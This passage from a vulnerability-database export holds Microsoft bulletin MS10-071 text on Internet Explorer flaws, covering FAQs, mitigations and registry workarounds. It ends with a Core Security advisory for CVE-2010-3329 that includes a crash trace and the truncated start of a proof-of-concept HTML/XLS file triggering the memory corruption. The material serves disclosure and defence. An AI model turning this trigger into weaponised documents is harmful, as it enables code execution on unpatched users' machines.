5.00\r\n[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{3050f4e1-98b5-11cf-bb82-00aa00bdce0b}]\r\n"Compatibility Flags"=dword:00000400\r\n\r\nYou can apply this .reg file to individual systems by double-clicking it. You can also apply it across domains by using Group Policy. For more information about Group Policy, visit the following Microsoft Web sites:\r\n\u2022\t\r\n\r\nGroup Policy collection\r\n\u2022\t\r\n\r\nWhat is Group Policy Object Editor?\r\n\u2022\t\r\n\r\nCore Group Policy tools and settings\r\n\r\nNote You must restart Internet Explorer for your changes to take effect.\r\n\r\nImpact of Workaround. There is no impact as long as the object is not intended to be used in Internet Explorer.\r\n\r\nHow to undo the workaround. Delete the registry keys previously added in implementing this workaround.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Uninitialized Memory Corruption Vulnerability - CVE-2010-3329\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen Internet Explorer attempts to access an object that has not been initialized or has been deleted when Microsoft Word has been closed, it may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the logged-on user.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as a logged-on user. If the user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker can send a user a specially crafted Word document that is designed to exploit this vulnerability through Microsoft Word and convince the user to view the Word document. In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by clicking a link in an e-mail message or in an Instant Messenger message that takes users to the attacker's Web site, or by opening an attachment sent through e-mail. This issue cannot be exploited directly through Internet Explorer.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and open a malicious Word document for any malicious action to occur. Therefore, any systems where Microsoft Word is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles objects in memory.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nCross-Domain Information Disclosure Vulnerability - CVE-2010-3330\r\n\r\nAn information disclosure vulnerability exists in Internet Explorer that could allow script to gain access to information in another domain or Internet Explorer zone. An attacker could exploit the vulnerability by constructing a specially crafted Web page that could allow information disclosure if a user viewed the Web page. An attacker who successfully exploited this vulnerability could view content from another domain or Internet Explorer zone.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3330.\r\n\t\r\nMitigating Factors for Cross-Domain Information Disclosure Vulnerability - CVE-2010-3330\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nBy default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See the FAQ subsection of this vulnerability section for more information about Internet Explorer Enhanced Security Configuration.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker's Web site.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Cross-Domain Information Disclosure Vulnerability - CVE-2010-3330\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nRead e-mails in plain text\r\n\r\nTo help protect yourself from the e-mail attack vector, read e-mail messages in plain text format.\r\n\r\nMicrosoft Office Outlook 2002 users who have applied Office XP Service Pack 1 or a later version and Microsoft Office Outlook Express 6 users who have applied Internet Explorer 6 Service Pack 1 or a later version can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor information about this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of workaround. E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\n\u2022\t\r\n\r\nSet Internet and Local intranet security zone settings to "High" to block ActiveX Controls and Active Scripting in these zones\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting. You can do this by setting your browser security to High.\r\n\r\nTo raise the browsing security level in Internet Explorer, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nOn the Internet Explorer Tools menu, click Internet Options.\r\n\r\n2.\r\n\t\r\n\r\nIn the Internet Options dialog box, click the Security tab, and then click the Internet icon.\r\n\r\n3.\r\n\t\r\n\r\nUnder Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High.\r\n\r\nNote If no slider is visible, click Default Level, and then move the slider to High.\r\n\r\nNote Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High.\r\n\r\nImpact of workaround. There are side effects to blocking ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Blocking ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. If you do not want to block ActiveX Controls or Active Scripting for such sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to block ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect yourself from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\n\u2022\t\r\n\r\nConfigure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Internet Options on the Tools menu.\r\n\r\n2.\r\n\t\r\n\r\nClick the Security tab.\r\n\r\n3.\r\n\t\r\n\r\nClick Internet, and then click Custom Level.\r\n\r\n4.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n5.\r\n\t\r\n\r\nClick Local intranet, and then click Custom Level.\r\n\r\n6.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n7.\r\n\t\r\n\r\nClick OK two times to return to Internet Explorer.\r\n\r\nNote Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly.\r\n\r\nImpact of workaround. There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to require a prompt before it runs ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Cross-Domain Information Disclosure Vulnerability - CVE-2010-3330\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is an information disclosure vulnerability. An attacker who exploited the vulnerability when a user views a Web page could view content from a different domain or Internet Explorer zone other than the domain or zone of the attacker's Web page.\r\n\r\nWhat causes the vulnerability? \r\nDuring certain processes, Internet Explorer incorrectly allows scripts to access and read content from different domains.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could view content from another domain or Internet Explorer zone.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker could host a specially crafted Web site that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view the Web site. The attacker could also take advantage of compromised Web sites and Web sites that accept or host user-provided content or advertisements. These Web sites could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or in an Instant Messenger message that takes users to the attacker's Web site. It could also be possible to display specially crafted Web content by using banner advertisements or by using other methods to deliver Web content to affected systems.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and visiting a Web site for any malicious action to occur. Therefore, any systems where Internet Explorer is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nI am running Internet Explorer for Windows Server 2003 or Windows Server 2008. Does this mitigate this vulnerability? \r\nYes. By default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. Enhanced Security Configuration is a group of preconfigured settings in Internet Explorer that can reduce the likelihood of a user or administrator downloading and running specially crafted Web content on a server. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See also Managing Internet Explorer Enhanced Security Configuration.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles script during certain processes.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nUninitialized Memory Corruption Vulnerability - CVE-2010-3331\r\n\r\nA remote code execution vulnerability exists in the way that Internet Explorer accesses an object that has not been correctly initialized or has been deleted. An attacker could exploit the vulnerability by convincing a user to view a specially crafted Word document. When a user closes the Word document, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. If a user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-3331.\r\n\t\r\nMitigating Factors for Uninitialized Memory Corruption Vulnerability - CVE-2010-3331\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nThe vulnerability cannot be exploited automatically through e-mail. For an attack to be successful, a user must open an attachment that is sent in an e-mail message.\r\n\u2022\t\r\n\r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker could host a Web site that contains a Web page that is used to exploit this vulnerability. In addition, compromised Web sites and Web sites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these Web sites. Instead, an attacker would have to convince users to visit the Web site, typically by getting them to click a link in an e-mail message or Instant Messenger message that takes users to the attacker's Web site.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for Uninitialized Memory Corruption Vulnerability - CVE-2010-3331\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nUse Microsoft Office File Block policy to block the opening of HTML documents from unknown or untrusted sources and locations\r\n\r\nThe following registry scripts can be used to set the File Block policy.\r\n\r\nNote Modifying the Registry incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems resulting from incorrect modification of the Registry can be solved. Modify the Registry at your own risk.\r\n\r\nFor Office 2003 \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"HtmlFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with Microsoft Office 2003, all of the latest security updates for Microsoft Office 2003 must be applied.\r\n\r\nFor 2007 Office system \r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"HtmlFiles"=dword:00000001\r\n\r\nNote In order to use 'FileOpenBlock' with the 2007 Microsoft Office system, all of the latest security updates for the 2007 Microsoft Office system must be applied.\r\n\r\nImpact of workaround. Users who have configured the File Block policy and have not configured a special "exempt directory" as discussed in Microsoft Knowledge Base Article 922848 will be unable to open Office 2003 files or earlier versions in Office 2003 or 2007 Microsoft Office System.\r\n\r\nHow to undo the workaround.\r\n\r\nFor Office 2003\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\FileOpenBlock]\r\n\r\n"HtmlFiles"=dword:00000000\r\n\r\nFor 2007 Office system\r\n\r\nWindows Registry Editor Version 5.00\r\n\r\n[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\12.0\Word\Security\FileOpenBlock]\r\n\r\n"HtmlFiles"=dword:00000000\r\nTop of sectionTop of section\r\n\t\r\nFAQ for Uninitialized Memory Corruption Vulnerability - CVE-2010-3331\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a remote code execution vulnerability. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nWhat causes the vulnerability? \r\nWhen Internet Explorer attempts to access an object that has not been initialized or has been deleted, it may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the logged-on user.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could gain the same user rights as a logged-on user. If the user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nAn attacker can send a user a specially crafted Word document that is designed to exploit this vulnerability through Microsoft Word and convince the user to view the Word document. In all cases, however, an attacker would have no way to force users to view the attacker-controlled content. Instead, an attacker would have to convince users to take action, typically by clicking a link in an e-mail message or in an Instant Messenger message that takes users to the attacker's Web site, or by opening an attachment sent through e-mail. This issue cannot be exploited directly through Internet Explorer.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nThis vulnerability requires that a user be logged on and opening a malicious Word document for an attack to occur. Therefore, any systems where Microsoft Word is used frequently, such as workstations or terminal servers, are at the most risk from this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update addresses the vulnerability by modifying the way that Internet Explorer handles objects in memory.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nNo. Microsoft received information about this vulnerability through coordinated vulnerability disclosure.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nOther Information\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\u2022\t\r\n\r\nSirdarckcat of Google Inc. for reporting the HTML Sanitization Vulnerability (CVE-2010-3243)\r\n\u2022\t\r\n\r\nMario Heiderich for reporting the HTML Sanitization Vulnerability (CVE-2010-3324)\r\n\u2022\t\r\n\r\nTakehiro Takahashi of IBM ISS X-Force for reporting the Uninitialized Memory Corruption Vulnerability (CVE-2010-3326)\r\n\u2022\t\r\n\r\nPeter Vreugdenhil, working with TippingPoint's Zero Day Initiative, for reporting the Uninitialized Memory Corruption Vulnerability (CVE-2010-3328)\r\n\u2022\t\r\n\r\nDamián Frizza of Core Security Technologies for reporting the Uninitialized Memory Corruption Vulnerability (CVE-2010-3329)\r\n\u2022\t\r\n\r\nAldwin Saugere and Radoslav Vasilev of Cigital for reporting the Cross-Domain Information Disclosure Vulnerability (CVE-2010-3330)\r\n\u2022\t\r\n\r\nRodrigo Rubira Branco of Check Point IPS Research Center for reporting the Uninitialized Memory Corruption Vulnerability (CVE-2010-3331)\r\nTop of sectionTop of section\r\nMicrosoft Active Protections Program (MAPP)\r\n\r\nTo improve security protections for customers, Microsoft provides vulnerability information to major security software providers in advance of each monthly security update release. Security software providers can then use this vulnerability information to provide updated protections to customers via their security software or devices, such as antivirus, network-based intrusion detection systems, or host-based intrusion prevention systems. To determine whether active protections are available from security software providers, please visit the active protections Web sites provided by program partners, listed in Microsoft Active Protections Program (MAPP) Partners.\r\n\r\nSupport\r\n\u2022\t\r\n\r\nCustomers in the U.S. and Canada can receive technical support from Security Support or 1-866-PCSAFETY. There is no charge for support calls that are associated with security updates. For more information about available support options, see Microsoft Help and Support.\r\n\u2022\t\r\n\r\nInternational customers can receive support from their local Microsoft subsidiaries. There is no charge for support that is associated with security updates. For more information about how to contact Microsoft for support issues, visit the International Support Web site.\r\n\r\nDisclaimer\r\n\r\nThe information provided in the Microsoft Knowledge Base is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\r\n\r\nRevisions\r\n\u2022\t\r\n\r\nV1.0 (October 12, 2010): Bulletin published.", "cvss3": {}, "published": "2010-10-13T00:00:00", "type": "securityvulns", "title": "Microsoft Security Bulletin MS10-071 - Critical Cumulative Security Update for Internet Explorer (2360131)", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2010-3331", "CVE-2010-0808", "CVE-2010-3330", "CVE-2010-3328", "CVE-2010-3324", "CVE-2010-3325", "CVE-2010-3243", "CVE-2010-4243", "CVE-2010-3326", "CVE-2010-3329", "CVE-2010-3327"], "modified": "2010-10-13T00:00:00", "id": "SECURITYVULNS:DOC:24871", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:24871", "sourceData": "", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "seebug": [{"lastseen": "2017-11-19T18:13:41", "description": "No description provided by source.", "cvss3": {}, "published": "2010-10-17T00:00:00", "title": "Microsoft Office HtmlDlgHelper Class Memory Corruption", "type": "seebug", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2010-3329"], "modified": "2010-10-17T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-20184", "id": "SSV:20184", "sourceData": "\n Core Security Technologies - CoreLabs Advisory\r\n http://corelabs.coresecurity.com\r\n \r\n Microsoft Office HtmlDlgHelper class memory corruption\r\n \r\n \r\n1. *Advisory Information*\r\n \r\nTitle: Microsoft Office HtmlDlgHelper class memory corruption\r\nAdvisory Id: CORE-2010-0517\r\nAdvisory URL:\r\n[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]\r\nDate published: 2010-10-12\r\nDate of last update: 2010-10-14\r\nVendors contacted: Microsoft\r\nRelease mode: Coordinated release\r\n \r\n \r\n2. *Vulnerability Information*\r\n \r\nClass: Missing Initialization [CWE-456]\r\nImpact: Code execution\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2010-3329\r\nBugtraq ID: N/A\r\n \r\n \r\n3. *Vulnerability Description*\r\n \r\nMicrosoft Windows is prone to a memory corruption vulnerability when\r\ninstantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office\r\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\r\nInternet Explorer ('mshtmled.dll'). This vulnerability could be used by\r\na remote attacker to execute arbitrary code with the privileges of the\r\nuser that opened the malicious file.\r\n \r\n \r\n4. *Vulnerable packages*\r\n \r\n . IE 6\r\n . IE 7\r\n . IE 8\r\n . MS Office XP\r\n . MS Office 2003\r\n . MS Office 2007 and MS Office 2010 (the control is disabled by default)\r\n \r\n \r\n5. *Non-vulnerable packages*\r\n \r\n . For further information and patches about this issue look at the\r\nMicrosoft Security Bulletin Summary for October 2010 [1], patch ms10-071.\r\n \r\n \r\n6. *Credits*\r\n \r\nThis vulnerability was discovered by Damian Frizza from Core Security\r\nTechnologies.\r\n \r\n \r\n7. *Technical Description / Proof of Concept Code*\r\n \r\nMicrosoft Windows is prone to a memory corruption vulnerability when\r\ninstantiating the 'HtmlDlgHelper Class Object'\r\n('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office\r\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\r\nInternet Explorer ('mshtmled.dll'). The vulnerability occurs in\r\n'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is\r\ncalled and then makes access to uninitialized memory.\r\n \r\nThe ActiveX control is marked as "Not Safe for Initialization", and\r\nprompts the user with: "ActiveX controls might contain viruses or other\r\nsecurity hazards. Do not enable this content unless you trust the source\r\nof this file". However, in Office 2003 the bug is triggered even if the\r\nuser answers "No" to the prompt.\r\n \r\nThe following code is where the vulnerability occurs, when opening a\r\n.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'\r\nv8.0.6001.18702):\r\n \r\n/-----\r\nmshtmled!ReleaseInterface:\r\n42b919c0 8bff mov edi,edi\r\n42b919c2 55 push ebp\r\n42b919c3 8bec mov ebp,esp\r\n42b919c5 8b4508 mov eax,dword ptr [ebp+8]\r\nss:0023:0013d104=00310065\r\n42b919c8 85c0 test eax,eax\r\n42b919ca 7406 je mshtmled!ReleaseInterface+0x12\r\n(42b919d2) [br=0]\r\n42b919cc 8b08 mov ecx,dword ptr [eax] ds:0023:00310065\r\n42b919ce 50 push eax\r\n42b919cf ff5108 call dword ptr [ecx+8] \r\nds:0023:7d02029c=2a2c277a\r\n \r\neax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc\r\nedi=00000000\r\neip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0 nv up ei pl nz na\r\npe nc\r\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 \r\nefl=00000206\r\n \r\nStack Trace:\r\n<Unloaded_ion.dll>+0x2a2c2779\r\nmshtmled!ReleaseInterface+0x12\r\nmshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10\r\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting\r\ndestructor'+0xd\r\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27\r\nVBE6!rtcStrConvVar+0xbd65\r\nVBE6!rtcSetDatabaseLcid+0xa823\r\nEXCEL!Ordinal41+0xd2ad0\r\nEXCEL!Ordinal41+0x14082a\r\nUSER32!CallWindowProcW+0x1b\r\nInstruction Address: 0x000000002a2c277a\r\n-----/\r\n \r\n \r\nThe following html code demonstrates the bug on Excel 2002/2003. Save\r\nthe file as .XLS and open it on Excel.\r\n \r\n/-----\r\n<html xmlns:v="urn:schemas-microsoft-com:vml"\r\nxmlns:o="urn:schemas-microsoft-com:office:office"\r\nxmlns:x="urn:schemas-microsoft-com:office:excel">\r\n \r\n<head>\r\n<meta http-equiv=Content-Type content="text/html; charset=windows-1252">\r\n<meta name=ProgId content=Excel.Sheet>\r\n<meta name=Generator content="Microsoft Excel 10">\r\n<!--[if !mso]>\r\n<style>\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nx\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n</style>\r\n<![endif]--><!--[if gte mso 9]><xml>\r\n <o:DocumentProperties>\r\n <o:LastAuthor>TEST</o:LastAuthor>\r\n <o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>\r\n <o:Version>10.6858</o:Version>\r\n </o:DocumentProperties>\r\n <o:OfficeDocumentSettings>\r\n <o:DownloadComponents/>\r\n </o:OfficeDocumentSettings>\r\n</xml><![endif]-->\r\n \r\n<!--[if gte mso 9]><xml>\r\n <x:ExcelWorkbook>\r\n <x:ExcelWorksheets>\r\n <x:ExcelWorksheet>\r\n <x:Name>test</x:Name>\r\n <x:WorksheetOptions>\r\n <x:CodeName>Sheet1</x:CodeName>\r\n <x:Selected/>\r\n <x:DoNotDisplayGridlines/>\r\n <x:ProtectContents>False</x:ProtectContents>\r\n <x:ProtectObjects>False</x:ProtectObjects>\r\n <x:ProtectScenarios>False</x:ProtectScenarios>\r\n </x:WorksheetOptions>\r\n </x:ExcelWorksheet>\r\n </x:ExcelWorksheets>\r\n <x:WindowHeight>9345</x:WindowHeight>\r\n <x:WindowWidth>13260</x:WindowWidth>\r\n <x:WindowTopX>240</x:WindowTopX>\r\n <x:WindowTopY>60</x:WindowTopY>\r\n <x:ProtectStructure>False</x:ProtectStructure>\r\n <x:ProtectWindows>False</x:ProtectWindows>\r\n </x:ExcelWorkbook>\r\n</xml><![endif]--><!--[if gte mso 9]><xml>\r\n <o:shapedefaults v:ext="edit" spidmax="1026"/>\r\n</xml><![endif]--><!--[if gte mso 9]><xml>\r\n <o:shapelayout v:ext="edit">\r\n <o:idmap v:ext="edit" data="1"/>\r\n </o:shapelayout></xml><![endif]-->\r\n</head>\r\n \r\n<body link=blue vlink=purple>\r\n \r\n<table x:str border=0 cellpadding=0 cellspacing=0 width=64\r\nstyle='border-collapse:\r\n collapse;table-layout:fixed;width:48pt'>\r\n <col width=64 style='width:48pt'>\r\n <tr height=17 style='height:12.75pt'>\r\n <td height=17 width=64 style='height:12.75pt;width:48pt' align=left\r\n valign=top><!--[if gte vml 1]><v:shapetype id="_x0000_t201"\r\ncoordsize="21600,21600"\r\n o:spt="201" path="m,l,21600r21600,l21600,xe">\r\n <v:stroke joinstyle="miter"/>\r\n <v:path shadowok="f" 